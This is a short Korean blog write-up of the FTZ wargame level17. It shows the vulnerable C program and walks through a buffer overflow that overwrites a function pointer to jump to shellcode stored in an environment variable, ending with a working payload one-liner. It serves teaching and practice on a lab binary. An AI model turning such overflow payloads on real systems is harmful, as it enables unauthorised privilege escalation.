ftz

level17

oogu ㅣ 2022. 9. 12. 16:38

#include <stdio.h>

void printit() {
  printf("Hello there!\n");
}

main()
{ int crap;
  void (*call)()=printit;
  char buf[20];
  fgets(buf,48,stdin);
  setreuid(3098,3098);
  call();
}

level17 문제는 shell 실행시키는 함수가 없다. RTL 방법을 시도해보자

[그림 1-1]
[그림 1-2]

[그림 1-1] 참조하면 [그림 1-2] 그릴 수 있다.

RTL 방식으로 payload 작성하면 "A" * 40 + system 함수 주소 + dummy[4] + /bin/sh 총 52 바이트로 48바이트를 초과해서 문제가 생긴다. 따라서 RTL 방식은 사용할 수 없다.

 

bof 문제 중 버퍼의 크기가 넉넉하지 않은 경우 환경 변수를 이용하면 해결할 수 있다.

환경 변수는 시스템에서 사용하는 변수로 메모리 어딘가에 항상 저장되어 있다.

환경 변수를 하나 만들고, 환경 변수에 쉘 코드를 넣어 환경변수의 주소를 call 변수에 넣어 문제를 해결해보자

[그림 1-3]

python 스크립트를 이용하여 SHELLCODE 이름으로 환경 변수를 등록한다. 

\x90 은 nop sled 를 위해 넣어 주고 뒤에 shellcode를 넣는다.

[그림 1-4]

환경 변수 SHELLCODE 주소를 알아오는 코드를 작성한다.

[그림 1-5]

환경변수 SHELLCODE 는 메모리에서 0xbffffbcb 에 있다.

따라서 payload 는 "A" * 40 + 0xbffffbcb 이다.

(python -c 'print("A"*40+"\xcb\xfb\xff\xbf")';cat) | ./attackme

[그림 1-6]

성공

'ftz' 카테고리의 다른 글

level19  (0) 2022.12.17
level16  (0) 2022.09.12
level15  (0) 2022.09.12
level14  (0) 2022.09.12
level13  (0) 2022.09.12